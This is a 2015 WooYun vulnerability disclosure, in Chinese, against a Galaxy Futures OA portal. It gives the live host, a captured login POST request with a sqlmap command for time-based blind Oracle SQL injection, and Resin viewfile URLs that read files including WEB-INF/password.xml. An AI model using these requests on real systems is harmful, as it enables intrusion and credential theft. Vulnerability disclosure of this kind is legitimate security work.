当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0112565

漏洞标题:银河期货某门户系统漏洞打包

相关厂商:银河期货

漏洞作者: 茜茜公主

提交时间:2015-05-14 10:32

修复时间:2015-06-28 10:34

公开时间:2015-06-28 10:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-14: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-06-28: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

1#sql注射
2#任意文件读取

详细说明:

站点地址:

http://101.231.52.2:8888/login/Login.jsp?logintype=&gopage=&languageid=7&message=18


银河期货信息门户,即OA

QQ截图20150507085858.jpg


我是从官网上跳转过来的

QQ截图20150507085928.jpg


说一说问题:首先是sql注射,该系统的登录模块存在登录框post注入
登录抓包

POST http://101.231.52.2:8888/login/VerifyLogin.jsp HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://101.231.52.2:8888/wui/theme/ecology7/page/login.jsp?templateId=21&logintype=1&gopage=&languageid=7&message=17
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: 101.231.52.2:8888
Content-Length: 255
Connection: Keep-Alive
Pragma: no-cache
Cookie: JSESSIONID=abctB1seLYUeRd_AhHP0u; testBanCookie=test
loginfile=%2Fwui%2Ftheme%2Fecology7%2Fpage%2Flogin.jsp%3FtemplateId%3D21%26logintype%3D1%26gopage%3D&logintype=1&fontName=%CE%A2%C8%ED%D1%C5%BA%DA&message=17&gopage=&formmethod=post&rnd=&serial=&username=&isie=true&loginid=admin&userpassword=admin&submit=


放入sqlmap

python SQLMap/SQLMap.py -r 2.txt --time-sec 6 --current-db


Parameter: loginid (POST)
Type: AND/OR time-based blind
Title: Oracle AND time-based blind


QQ截图20150507090813.jpg


QQ截图20150507090823.jpg


1000余张表,望山跑死马,点到为止

漏洞证明:

问题2#任意文件读取-resin
http://101.231.52.2:8888/resin-doc/viewfile/?file=index.jsp

QQ截图20150507091014.jpg


http://101.231.52.2:8888/resin-doc/examples/security-basic/viewfile?file=WEB-INF/password.xml

QQ截图20150507091027.jpg


以上

修复方案:

过滤,正确配置resin

版权声明:转载请注明来源 茜茜公主@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝